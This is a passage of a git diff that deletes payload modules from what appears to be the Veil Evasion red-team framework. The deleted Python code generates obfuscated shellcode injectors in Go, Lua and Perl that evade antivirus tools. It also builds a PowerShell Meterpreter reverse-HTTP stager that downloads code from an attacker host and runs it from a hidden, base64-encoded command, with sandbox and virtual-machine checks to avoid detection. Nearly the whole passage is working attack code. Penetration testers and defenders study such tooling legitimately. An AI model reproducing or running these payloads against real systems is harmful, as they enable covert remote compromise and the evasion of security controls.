Metasploit handler"], - "LPORT" : ["80", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - size = evasion_helpers.randomString() - err = evasion_helpers.randomString() - wsadata = evasion_helpers.randomString() - socket = evasion_helpers.randomString() - socketAddr = evasion_helpers.randomString() - ip = self.required_options["LHOST"][0].split('.') - buf = evasion_helpers.randomString() - dataBuf = evasion_helpers.randomString() - flags = evasion_helpers.randomString() - qty = evasion_helpers.randomString() - scLength = evasion_helpers.randomString() - sc = evasion_helpers.randomString() - sc2 = evasion_helpers.randomString() - total = evasion_helpers.randomString() - mem = evasion_helpers.randomString() - buffer_variable = evasion_helpers.randomString() - handle = evasion_helpers.randomString() - x = evasion_helpers.randomString() - value = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - allocvarout = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - errorvariabledos = evasion_helpers.randomString() - constSize = evasion_helpers.randomString() - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - payload_code = "package main\nimport (\n\"encoding/binary\"\n\"syscall\"\n\"unsafe\"\n" - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["UTCCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - if self.required_options["CURSORCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - - payload_code += ")\n" - - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x40\n)\n" % (pageExecRW) - - payload_code += "var (\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - payload_code += "const %s = 1000 << 10\n" %(constSize) - payload_code += "var %s syscall.WSAData\n" %(wsadata) - payload_code += "syscall.WSAStartup(uint32(0x202), &%s)\n" %(wsadata) - payload_code += "%s, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n" %(socket) - payload_code += "%s := syscall.SockaddrInet4{Port: %s, Addr: [4]byte{%s, %s, %s, %s}}\n" %(socketAddr, self.required_options["LPORT"][0], ip[0], ip[1], ip[2], ip[3]) - payload_code += "syscall.Connect(%s, &%s)\n" %(socket, socketAddr) - payload_code += "var %s [4]byte\n" %(buf) - payload_code += "%s := syscall.WSABuf{Len: uint32(4), Buf: &%s[0]}\n" %(dataBuf, buf) - payload_code += "%s := uint32(0)\n" %(flags) - payload_code += "%s := uint32(0)\n" %(qty) - payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) - payload_code += "%s := binary.LittleEndian.Uint32(%s[:])\n" %(scLength, buf) - payload_code += "%s := make([]byte, %s)\n" %(sc, scLength) - payload_code += "var %s []byte\n" %(sc2) - payload_code += "%s = syscall.WSABuf{Len: %s, Buf: &%s[0]}\n" %(dataBuf, scLength, sc) - payload_code += "%s = uint32(0)\n" %(flags) - payload_code += "%s = uint32(0)\n" %(qty) - payload_code += "%s := uint32(0)\n" %(total) - payload_code += "for %s < %s {\n" %(total, scLength) - payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" %(socket, dataBuf, qty, flags) - payload_code += "for i := 0; i < int(%s); i++ {\n" %(qty) - payload_code += "%s = append(%s, %s[i])\n}\n%s += %s\n}\n" %(sc2, sc2, sc, total, qty) - payload_code += "%s, _ := %s(uintptr(%s + 5))\n" %(mem, cust_func, scLength) - payload_code += "%s := (*[%s]byte)(unsafe.Pointer(%s))\n" %(buffer_variable,constSize, mem) - payload_code += "%s := (uintptr)(unsafe.Pointer(%s))\n" %(handle, socket) - payload_code += "%s[0] = 0xBF\n" %(buffer_variable) - payload_code += "%s[1] = byte(%s)\n" %(buffer_variable, handle) - payload_code += "%s[2] = 0x00\n" %(buffer_variable) - payload_code += "%s[3] = 0x00\n" %(buffer_variable) - payload_code += "%s[4] = 0x00\n" %(buffer_variable) - payload_code += "for %s, %s := range %s {\n" %(x, value, sc2) - payload_code += "%s[%s+5] = %s\n}\n" %(buffer_variable, x, value) - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" %(mem) - payload_code += '}' * num_curlys - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/shellcode_inject/virtual.py b/Tools/Evasion/payloads/go/shellcode_inject/virtual.py deleted file mode 100644 index 12d4be1..0000000 --- a/Tools/Evasion/payloads/go/shellcode_inject/virtual.py +++ /dev/null @@ -1,181 +0,0 @@ -""" -Go inline shellcode injector using the VirtualAlloc() -Uses basic variable renaming obfuscation - -Module built by @b00stfr3ak44 -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.description = "Golang VirtualAlloc method for inline shellcode injection" - self.name = "Golang Flat Shellcode Injector" - self.path = "go/shellcode_inject/virtual" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # randomly generate out variable names - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - size = evasion_helpers.randomString() - addr = evasion_helpers.randomString() - err = evasion_helpers.randomString() - shellcode_variable = evasion_helpers.randomString() - buff = evasion_helpers.randomString() - value = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - heapallocout = evasion_helpers.randomString() - rand_var = evasion_helpers.randomString() - procVirtualProtect = evasion_helpers.randomString() - proc_out = evasion_helpers.randomString() - vprotectendvar = evasion_helpers.randomString() - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n\"fmt\"\n\"os\"\n" - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["UTCCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - if self.required_options["CURSORCHECK"][0].lower() != 'false': - if "time" not in payload_code: - payload_code += "\"time\"\n" - - payload_code += ")\n" - - # Changes based on injection type - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x04\n)\n" % (pageExecRW) - - payload_code += "var (\n" - - # injection type - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = 0\n" %(proc_out) - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" %(kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n" %(procVirtualAlloc, kernel32) - payload_code += "%s = %s.NewProc(\"VirtualProtect\")\n)\n" %(procVirtualProtect, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" %(addr, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(addr, err, addr) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" %(cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += heapallocout + ", _, _ := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" %(heapallocout, errorvariable, heapallocout) - - payload_code += "var %s string = \"%s\"\n" %(shellcode_variable, Shellcode) - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(addr, err, cust_func, shellcode_variable) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "%s, %s := %s(uintptr(len(%s)))\n" %(heapallocout, err, cust_func, shellcode_variable) - - payload_code += "if %s != nil {\nfmt.Println(%s)\nos.Exit(1)\n}\n" %(err, err) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, addr) - payload_code += "var %s uintptr\n" %(proc_out) - payload_code += "var %s uintptr\n" %(vprotectendvar) - payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) - payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) - payload_code += "%s, _, %s = %s.Call(%s, uintptr(len(%s)), 0x20, uintptr(unsafe.Pointer(&%s)))\n" %(proc_out, err, procVirtualProtect, addr, shellcode_variable, vprotectendvar) - payload_code += "if %s == 0 {\nos.Exit(1)\n}\n" %(proc_out) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" %(buff, heapallocout) - payload_code += "for " + rand_var + ", %s := range []byte(%s) {\n" %(value, shellcode_variable) - payload_code += buff + "[" + rand_var + "] = %s\n}\n" % (value) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (heapallocout) - - payload_code += '}' * num_curlys - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/lua/shellcode_inject/flat.py b/Tools/Evasion/payloads/lua/shellcode_inject/flat.py deleted file mode 100644 index f99138d..0000000 --- a/Tools/Evasion/payloads/lua/shellcode_inject/flat.py +++ /dev/null @@ -1,86 +0,0 @@ -""" -Custom-written lua inline shellcode injector - -Module built by @the_grayhound -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "VirtualAlloc" - self.language = "lua" - self.extension = "lua" - self.rating = "Excellent" - self.description = "VirtualAlloc pattern for shellcode injection" - self.name = "Lua flat shellcode injector" - self.required_options = {} - self.path = "lua/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - shellcode = self.cli_shellcode - - # get the raw shellcode - raw = shellcode.encode('latin-1') - raw = raw.decode('unicode_escape') - - # get the shellcode into the stupid-ass lua because - # stupid-ass lua doesn't do string hex escapes - shellcode = "".join(["\\" + str(ord(c)).zfill(3) for c in raw]) - - payload_code = """shellcode="%s" -core = require "alien.core" -kernel32 = core.load("Kernel32") -len = string.len(shellcode) - -va = kernel32.VirtualAlloc -va:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int' } -ptr = va(0, len, 0x3000, 0x40) - -vl = kernel32.VirtualLock -vl:types{ ret = 'int', abi = 'stdcall', 'int', 'int' } -vl(ptr, len) - -rmm = kernel32.RtlMoveMemory -rmm:types{ ret = 'int', abi = 'stdcall', 'int', 'string', 'int'} -rmm(ptr, shellcode, len) - -ct = kernel32.CreateThread -ct:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int', 'int', 'ref int'} -ht = ct(0, 0, ptr, 0, 0, 0) - -wfso = kernel32.WaitForSingleObject -wfso:types{ ret = 'int', abi = 'stdcall', 'int', 'int'} -wfso(ht, -1) - """ % (shellcode) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/native/__init__.py b/Tools/Evasion/payloads/native/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/perl/shellcode_inject/flat.py b/Tools/Evasion/payloads/perl/shellcode_inject/flat.py deleted file mode 100644 index 0b85d20..0000000 --- a/Tools/Evasion/payloads/perl/shellcode_inject/flat.py +++ /dev/null @@ -1,115 +0,0 @@ -""" -Custom-written perl inline shellcode injector - -Approach by @the_grayhound and @christruncer -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.shortname = "VirtualAlloc" - self.language = "perl" - self.extension = "pl" - self.rating = "Excellent" - self.description = "VirtualAlloc pattern for shellcode injection" - self.name = "Perl flat shellcode injector" - self.path = "perl/shellcode_inject/flat" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["X", "Optional: Prompt for user activity"], - "RAMSIZE" : ["X", "Optional: Check RAM size of target"], - "NUMPROCS" : ["X", "Optional: Minimum number of running processes"], - "FILENAME" : ["X", "Optional: File name check"], - "DISKSIZE" : ["X", "Optional: Minimum disk size on target"], - "NUMCLICKS" : ["X", "Optional: Minimum number of mouse clicks"], - "REGSIZE" : ["X", "Optional: Minimum size of system registry"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # How I'm tracking the number of nested tabs needed - # to make the payload - num_ends_required = 0 - payload_code = "use Win32::API;\n" - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - - payload_code2, num_ends_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - # randomly generate variable names - shellcode_variable = evasion_helpers.randomString() - ptrName = evasion_helpers.randomString() - rand_valloc = evasion_helpers.randomString() - rand_movemem = evasion_helpers.randomString() - rand_cthread = evasion_helpers.randomString() - rand_waitfor = evasion_helpers.randomString() - rand_heapcreate = evasion_helpers.randomString() - rand_heapalloc = evasion_helpers.randomString() - rand_thread = evasion_helpers.randomString() - rand_protect = evasion_helpers.randomString() - protect_out = evasion_helpers.randomString() - - payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % (shellcode_variable, Shellcode) - payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" - payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" - payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" - payload_code += '\t' * num_ends_required + "$" + rand_protect + " = new Win32::API('kernel32', 'VirtualProtect', 'PIIP', 'I');\n" - payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x04);\n" - payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) - payload_code += '\t' * num_ends_required + "my $" + protect_out + " = $" + rand_protect + "->Call(" + ptrName + ", length($" + shellcode_variable + "), 0x20, 0);\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - rand_heapcrout = evasion_helpers.randomString() - payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n" - payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n" - payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n" - payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n" - payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (ptrName, shellcode_variable, shellcode_variable) - - payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName) - payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n" - payload_code += '}\n' * num_ends_required - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/.gitignore b/Tools/Evasion/payloads/powershell/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/powershell/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/powershell/__init__.py b/Tools/Evasion/payloads/powershell/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/powershell/meterpreter/rev_http.py b/Tools/Evasion/payloads/powershell/meterpreter/rev_http.py deleted file mode 100644 index ba80823..0000000 --- a/Tools/Evasion/payloads/powershell/meterpreter/rev_http.py +++ /dev/null @@ -1,85 +0,0 @@ -""" -Custom-written pure powershell meterpreter/reverse_http stager - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "Pure PowerShell Reverse HTTP Stager" - self.path = "powershell/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8080", "Port of the Metasploit handler"], - "PROXY" : ["N", "Use system proxy settings"], - "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."], - "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"], - "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} - - def generate(self): - checks, num_ends = gamemaker.senecas_games(self) - proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;" - baseString = """$q = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); -"@\n""" - baseString += checks - baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() -function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} -function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} -function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} -function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} -$m = New-Object System.Net.WebClient;%s$m.Headers.Add("user-agent", "%s") -$n = g; [Byte[]] $p = $m.DownloadData("http://%s:%s/%s$n" ) -$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) -$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1), - "" if self.required_options["PROXY"][0] == "N" else proxyString, - self.required_options["USER_AGENT"][0], - self.required_options["LHOST"][0], - self.required_options["LPORT"][0], - "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0]) - baseString += '}\n' * num_ends - encoded = evasion_helpers.deflate(baseString) - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/meterpreter/rev_https.py b/Tools/Evasion/payloads/powershell/meterpreter/rev_https.py deleted file mode 100644 index fd5d8bb..0000000 --- a/Tools/Evasion/payloads/powershell/meterpreter/rev_https.py +++ /dev/null @@ -1,83 +0,0 @@ -""" -Custom-written pure powershell meterpreter/reverse_https stager - 